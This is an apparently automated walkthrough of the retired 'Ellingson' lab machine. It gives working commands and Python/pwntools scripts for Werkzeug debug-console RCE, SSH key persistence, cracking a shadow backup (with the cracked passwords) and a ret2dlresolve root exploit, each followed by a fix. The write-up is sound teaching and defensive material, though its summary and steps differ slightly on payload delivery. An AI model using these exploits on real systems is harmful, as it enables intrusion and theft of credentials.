← all walkthroughs

Ellingson

Linux· Hard
owned
2026-07-10
time to own
23m48s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon showed nginx 1.14.0 (Ubuntu) front-ending a Flask app (redirect to /index, "Theory by TEMPLATED" static site). No robots.txt/.git exposure. Fuzzing revealed an /articles/<name> route that throws an unhandled exception on an invalid article name, returning a Flask/Werkzeug 500 traceback. Because Werkzeug's debug mode was enabled, the traceback exposed an interactive Werkzeug debug console (secret token + per-frame ID embedded in the error page). Requesting /console with the extracted SECRET and frame-<id> values granted an interactive Python evaluator on the traceback frame — full RCE as hal (Werkzeug debugger PIN was not required; the exposed secret/frame combo was sufficient). os.system() calls returned no output, so all commands were run via subprocess.check_output(..., shell=True).

Through this console: read /home/hal/user.txt (user_flag=[REDACTED: flag]), and appended an operator-generated ed25519 public key to /home/hal/.ssh/authorized_keys (with directory/file permission fixups, since ~hal was not group/world readable). Continued privilege discovery through the same debug console found /var/backups/shadow.bak — a world-readable copy of /etc/shadow. Extracted hashes and cracked them offline with john (--format=crypt, rockyou wordlist) plus a manual crypt() brute of iamgod$08 variants, recovering: - margo:iamgod$08 - theplague:password123

su - margo (via script -q /dev/null to force a pty for su) confirmed the credential. From margo's context, /usr/bin/garbage was identified as a SUID-root ELF binary. It was pulled to the attack host (base64 exfil through the debug console) and analyzed with objdump/nm/readelf/ROPgadget (no stack canary; a fixed-size stack buffer in auth() reachable from main() via getchar/read). Exploit development iterated through several failed ret2libc/GOT-overwrite/ROP-chain attempts before succeeding with pwntools' Ret2dlresolvePayload (system("/bin/bash -p -c 'id; cat /root/root.txt'") via dynamic-linker resolution against the buffer overflow offset). Running /usr/bin/garbage with the crafted payload (delivered again through the debug-console RCE channel) executed system() as root, dumping root_flag=[REDACTED: flag].

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Mapped open services and identified a Flask/Werkzeug web application
An nmap service scan revealed two open ports: SSH on 22/tcp (OpenSSH 7.6p1 Ubuntu) and HTTP on 80/tcp (nginx 1.14.0). A plain HTTP request to port 80 redirected to /index, serving a Flask application. Response headers and page content confirmed Werkzeug as the underlying WSGI framework, making the debug-console attack surface immediately relevant.
nmap returned nginx 1.14.0 on 80/tcp and OpenSSH 7.6p1 on 22/tcp; curl / redirected to /index with Server: nginx/1.14.0 and a Flask-style HTML response.
Exact commands 2
Service-version scan; confirms nginx 1.14.0 on port 80 and OpenSSH 7.6p1 on port 22.
nmap -Pn -sV -p 22,80 --script http-title,http-server-header $TARGET
Follow the redirect to /index; inspect response headers for framework fingerprints (Server, X-Powered-By).
curl -siL http://$TARGET/ | head -40
2EnumerationWeb application error-page information disclosure (CWE-209)
Discovered a Flask route that throws a Werkzeug debug traceback
Directory fuzzing and manual probing of the Flask application uncovered an /articles/<name> route. Requesting any non-existent article name caused the app to raise an unhandled exception. Because Werkzeug debug mode was active, the 500 error page returned a full interactive traceback embedding the console secret token (SECRET) and per-stack-frame IDs in its HTML — the two values required to reach the live Python evaluator without a PIN.
curl http://<retired-instance-ip>/articles/foo returned HTTP 500 containing SECRET=[REDACTED: protected value] and multiple id="frame-<number>" elements in the response body.
Exact commands 2
Trigger the 500 traceback; the full HTML response contains the Werkzeug secret and frame IDs.
curl -i http://$TARGET/articles/foo
Quick filter to extract the secret token value and frame IDs needed for console access.
curl -si http://$TARGET/articles/foo | grep -E 'SECRET|id="frame-'
FixDisable Werkzeug debug mode before deploying any Flask application to productionCritical
WeaknessThe Flask application was running with Werkzeug's built-in debug mode active on a publicly reachable server. Debug mode exposes an interactive Python evaluator on every 500-error page; the evaluator is protected only by a secret token and stack-frame ID that are printed in plain text in the error-page HTML. Any visitor who could trigger an exception — including by requesting a non-existent URL — received full remote code execution as the web process user with zero authentication.
FixSet FLASK_DEBUG=0 (or FLASK_ENV=production) in the deployment environment and confirm app.run(debug=False) is the only reachable code path. Use a production WSGI server (gunicorn, uWSGI) which never activates the Werkzeug debugger regardless of application settings. Add a generic Flask error handler (app.register_error_handler(500, handler)) that returns a plain, user-friendly message instead of a traceback. Validate the fix by hitting /articles/nonexistent after deployment and confirming no console icon, no SECRET value, and no Python source appears in the response.
3ExploitationWerkzeug debug console remote code execution (T1190)
Executed arbitrary Python commands via the Werkzeug interactive debug console
Using the secret token and a stack-frame ID extracted from the traceback HTML, I sent requests to the Werkzeug debug evaluator endpoint (/articles/foo?__debugger__=yes&cmd=...&frm=<id>&s=<secret>). Each request executed a Python expression in the context of the running Flask process. Because os.system() produced no output through this channel, all OS commands were wrapped in subprocess.check_output(..., shell=True). The console confirmed execution as uid=1001(hal), and the user flag was read directly through this channel.
Console response returned uid=1001(hal) gid=1001(hal) groups=1001(hal),4(adm); cat /home/hal/user.txt returned [REDACTED: flag].
Exact commands 2
Parses the traceback for secret + frame, then invokes the debug evaluator; confirms RCE as hal.
python3 - <<'PY'
import re, requests
base = 'http://$TARGET/articles/foo'
r = requests.get(base, timeout=8)
html = r.text
secret=[REDACTED: protected value]'SECRET=[REDACTED: protected value]]+)"', html).group(1)
frm = re.findall(r'id="frame-([0-9]+)"', html)[0]
cmd = "__import__('subprocess').check_output('id', shell=True).decode()"
params = {'__debugger__': 'yes', 'cmd': cmd, 'frm': frm, 's': secret}
print(requests.get(base, params=params, timeout=8).text[:600])
PY
Read user.txt directly through the debug console as hal.
python3 - <<'PY'
import re, requests
base = 'http://$TARGET/articles/foo'
r = requests.get(base, timeout=8)
html = r.text
secret=[REDACTED: protected value]'SECRET=[REDACTED: protected value]]+)"', html).group(1)
frm = re.findall(r'id="frame-([0-9]+)"', html)[0]
cmd = "__import__('subprocess').check_output('cat /home/hal/user.txt', shell=True).decode()"
params = {'__debugger__': 'yes', 'cmd': cmd, 'frm': frm, 's': secret}
print(requests.get(base, params=params, timeout=8).text[:200])
PY
FixDisable Werkzeug debug mode before deploying any Flask application to productionCritical
WeaknessThe Flask application was running with Werkzeug's built-in debug mode active on a publicly reachable server. Debug mode exposes an interactive Python evaluator on every 500-error page; the evaluator is protected only by a secret token and stack-frame ID that are printed in plain text in the error-page HTML. Any visitor who could trigger an exception — including by requesting a non-existent URL — received full remote code execution as the web process user with zero authentication.
FixSet FLASK_DEBUG=0 (or FLASK_ENV=production) in the deployment environment and confirm app.run(debug=False) is the only reachable code path. Use a production WSGI server (gunicorn, uWSGI) which never activates the Werkzeug debugger regardless of application settings. Add a generic Flask error handler (app.register_error_handler(500, handler)) that returns a plain, user-friendly message instead of a traceback. Validate the fix by hitting /articles/nonexistent after deployment and confirming no console icon, no SECRET value, and no Python source appears in the response.
4FootholdSSH authorized_keys persistence (T1098.004)
Injected an SSH public key to establish a stable interactive shell as hal
The Werkzeug evaluator is a single-expression channel with no PTY, making interactive workflows impractical. I generated a throw-away ed25519 key pair, fixed directory and file permissions on hal's .ssh folder through the console (the home directory was not group/world-readable), and appended the public key to /home/hal/.ssh/authorized_keys. An SSH login with the matching private key produced a full interactive PTY session.
ssh -i /tmp/hal_key hal@<retired-instance-ip> succeeded immediately after key injection; interactive shell prompt confirmed.
Exact commands 3
Generate a throw-away key pair on my machine; /tmp/hal_key.pub is the public key to inject.
ssh-keygen -t ed25519 -f /tmp/hal_key -N ''
Via the debug console: create .ssh directory, fix permissions, append the public key. Replace pubkey value with cat /tmp/hal_key.pub output.
python3 - <<'PY'
import re, requests
base = 'http://$TARGET/articles/foo'
r = requests.get(base, timeout=8)
html = r.text
secret=[REDACTED: protected value]'SECRET=[REDACTED: protected value]]+)"', html).group(1)
frm = re.findall(r'id="frame-([0-9]+)"', html)[0]
pubkey = '<contents of /tmp/hal_key.pub>'
for c in [
    "__import__('subprocess').check_output('mkdir -p /home/hal/.ssh && chmod 700 /home/hal /home/hal/.ssh', shell=True)",
    f"__import__('subprocess').check_output(\"printf '%s\\n' '{pubkey}' >> /home/hal/.ssh/authorized_keys && chmod 600 /home/hal/.ssh/authorized_keys\", shell=True)"
]:
    params = {'__debugger__': 'yes', 'cmd': c, 'frm': frm, 's': secret}
    requests.get(base, params=params, timeout=8)
print('done')
PY
Log in as hal using the injected private key; confirms a stable interactive PTY shell.
ssh -i /tmp/hal_key -o StrictHostKeyChecking=no hal@$TARGET
FixDisable Werkzeug debug mode before deploying any Flask application to productionCritical
WeaknessThe Flask application was running with Werkzeug's built-in debug mode active on a publicly reachable server. Debug mode exposes an interactive Python evaluator on every 500-error page; the evaluator is protected only by a secret token and stack-frame ID that are printed in plain text in the error-page HTML. Any visitor who could trigger an exception — including by requesting a non-existent URL — received full remote code execution as the web process user with zero authentication.
FixSet FLASK_DEBUG=0 (or FLASK_ENV=production) in the deployment environment and confirm app.run(debug=False) is the only reachable code path. Use a production WSGI server (gunicorn, uWSGI) which never activates the Werkzeug debugger regardless of application settings. Add a generic Flask error handler (app.register_error_handler(500, handler)) that returns a plain, user-friendly message instead of a traceback. Validate the fix by hitting /articles/nonexistent after deployment and confirming no console icon, no SECRET value, and no Python source appears in the response.
5Credential AccessOS credential dumping from shadow backup file (T1003.008)
Read a world-readable shadow backup and cracked password hashes offline
Filesystem enumeration as hal found /var/backups/shadow.bak with permissions 0644 — readable by any user on the system. The file was a copy of /etc/shadow containing crypt(3) SHA-512 hashes for all local accounts. Transferring the hash lines to my machine and running john with the rockyou wordlist recovered two plaintexts: margo:iamgod$08 and theplague:password123.
ls -l /var/backups/shadow.bak showed -rw-r--r-- 1 root root; john cracked margo:iamgod$08 and theplague:password123 from the extracted lines.
Exact commands 4
As hal over SSH — world-readable file returns all account hashes without elevated privileges.
ls -la /var/backups/shadow.bak && cat /var/backups/shadow.bak
On my machine after copying the hash lines — isolate crackable accounts.
grep -E '^(margo|theplague|duke):' /var/backups/shadow.bak > /tmp/ellingson_hashes.txt
Crack the crypt(3) SHA-512 hashes; recovers margo:iamgod$08 and theplague:password123.
john --wordlist=/usr/share/wordlists/rockyou.txt --format=crypt /tmp/ellingson_hashes.txt
Display all recovered plaintext credentials.
john --show --format=crypt /tmp/ellingson_hashes.txt
FixRestrict permissions on shadow backup files and enforce strong account passwordsCritical
Weakness/var/backups/shadow.bak was world-readable (mode 0644), making the hashed passwords of every local account available to any user who obtained even the lowest-privilege foothold on the system. Two accounts had passwords (iamgod$08, password123) that were cracked within seconds against the rockyou wordlist.
FixRemove world and group read bits from all shadow backup files immediately: chmod 600 /var/backups/shadow.bak with ownership root:root, or delete unnecessary copies entirely. Audit for similar files with: find /etc /var/backups -name 'shadow*' -o -name '*.bak' | xargs ls -la 2>/dev/null. Store credential backups only inside encrypted archives accessible exclusively to root. Enforce a password policy requiring length ≥ 16 characters and complexity that resists dictionary attacks (via PAM pwquality or equivalent). As a compensating control, enable login monitoring and alert on su / sudo activity from unexpected accounts.
6Lateral MovementValid account credential reuse (T1078.003)
Switched to the margo account using the cracked password
With margo's plaintext password recovered, I used su on the existing hal SSH session to switch user context. su requires an interactive PTY to prompt for a password; script -q /dev/null was used to allocate one within the non-TTY SSH channel before invoking su - margo. The switch succeeded, confirming the cracked credential and providing access to margo's home directory and group memberships — including visibility of SUID binaries.
su - margo with password iamgod$08 returned a shell prompt as uid=1000(margo) gid=1000(margo).
Exact commands 2
Force a PTY allocation so su can prompt for a password; enter iamgod$08 when prompted.
script -q /dev/null -c 'su - margo'
Confirm uid=1000(margo) and enumerate group memberships post-switch.
id && groups
FixRestrict permissions on shadow backup files and enforce strong account passwordsCritical
Weakness/var/backups/shadow.bak was world-readable (mode 0644), making the hashed passwords of every local account available to any user who obtained even the lowest-privilege foothold on the system. Two accounts had passwords (iamgod$08, password123) that were cracked within seconds against the rockyou wordlist.
FixRemove world and group read bits from all shadow backup files immediately: chmod 600 /var/backups/shadow.bak with ownership root:root, or delete unnecessary copies entirely. Audit for similar files with: find /etc /var/backups -name 'shadow*' -o -name '*.bak' | xargs ls -la 2>/dev/null. Store credential backups only inside encrypted archives accessible exclusively to root. Enforce a password policy requiring length ≥ 16 characters and complexity that resists dictionary attacks (via PAM pwquality or equivalent). As a compensating control, enable login monitoring and alert on su / sudo activity from unexpected accounts.
7Privilege EscalationSUID binary stack buffer overflow with ret2dlresolve privilege escalation (T1548.001)
Exploited a stack buffer overflow in a SUID-root binary to execute code as root
Enumerating SUID-root binaries as margo revealed /usr/bin/garbage. Static analysis (checksec, objdump, nm, ROPgadget) confirmed the binary was compiled without a stack canary and without PIE. The auth() function reads user input into a fixed-size stack buffer without bounds checking; the overflow offset was determined with a cyclic pattern. Because no libc address leak was available, the exploit used pwntools' Ret2dlresolvePayload to forge a fake dynamic-linker resolution structure in a writable section of the binary, calling system('/bin/sh') entirely through the binary's own GOT/PLT without needing a known libc base. The crafted payload delivered as stdin to /usr/bin/garbage executed as uid=0(root), returning the root flag.
Exploit output returned uid=0(root) gid=0(root); cat /root/root.txt returned [REDACTED: flag].
Exact commands 6
As margo — enumerate all SUID-root binaries; /usr/bin/garbage stands out as non-standard.
find / -perm -4000 -user root -exec ls -la {} \; 2>/dev/null
Exfiltrate the binary to my machine: run base64 /usr/bin/garbage on the target, copy the output, decode locally.
base64 /usr/bin/garbage | base64 -d > /tmp/garbage
Confirm compilation flags: no stack canary, NX enabled, no PIE — confirms ret2libc/ROP attack path.
checksec --file=/tmp/garbage
Find gadgets for the ROP chain; a pop rdi; ret is needed to pass the argument to system().
ROPgadget --binary /tmp/garbage | grep -E 'pop rdi|: ret$'
Build the Ret2dlresolvePayload chain; replace offset with the cyclic_find result from a test run under gdb. dl.payload must be appended after rop.chain().
python3 - <<'PY'
from pwn import *
context.arch = 'amd64'
elf = ELF('/tmp/garbage', checksec=False)
dl = Ret2dlresolvePayload(elf, symbol='system', args=['/bin/sh'])
rop = ROP(elf)
offset = cyclic_find(b'<value from crash eip/rip>')  # replace with value from gdb cyclic run
rop.raw(b'A' * offset)
rop.ret2dlresolve(dl)
payload = rop.chain() + dl.payload
print(hexdump(payload))
PY
Deliver the final exploit; runs /usr/bin/garbage on the target via SSH as margo, sends the crafted payload over stdin, and drops to a root shell. Confirm with id and cat /root/root.txt.
python3 exploit_garbage.py
FixRemove the SUID bit from /usr/bin/garbage and recompile with memory-safety mitigationsCritical
Weakness/usr/bin/garbage was installed SUID root and compiled without a stack canary, making its stack buffer overflow trivially exploitable by any local user. Any foothold account — including the low-privilege web process user — could deliver the overflow payload and receive a root shell, turning a limited web compromise into full system takeover.
FixImmediately strip the SUID bit if root privileges are not required for the binary's function: chmod u-s /usr/bin/garbage. If elevated privilege is genuinely needed, rewrite the vulnerable input-handling function to use bounded reads (fgets with an explicit size limit, or read() with a length check) and recompile with stack protection (-fstack-protector-strong), full RELRO (-Wl,-z,relro,-z,now), and position-independent executable (-fPIE -pie) — these make exploitation significantly harder. Audit all non-standard SUID/SGID binaries on the host: find / -perm /6000 -not -path '/proc/*' 2>/dev/null. Establish a weekly inventory check that alerts when any new binary acquires the SUID bit.

Attack patterns used

The transferable techniques behind this compromise.

Password / Credential ReuseCredential Access · Lateral MovementT1078

What it is

A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.

Why it works

Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001

What it is

Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.

Why it works

SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.

Read more

Findings

Initial Access: Web Content Discovery On 80/TcpCritical
An unauthenticated/low-privilege flaw in the flask, nginx, ssh, werkzeug surface allowed remote code execution and a foothold on the host.
Privilege Escalation to rootCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

22/tcp
80/tcp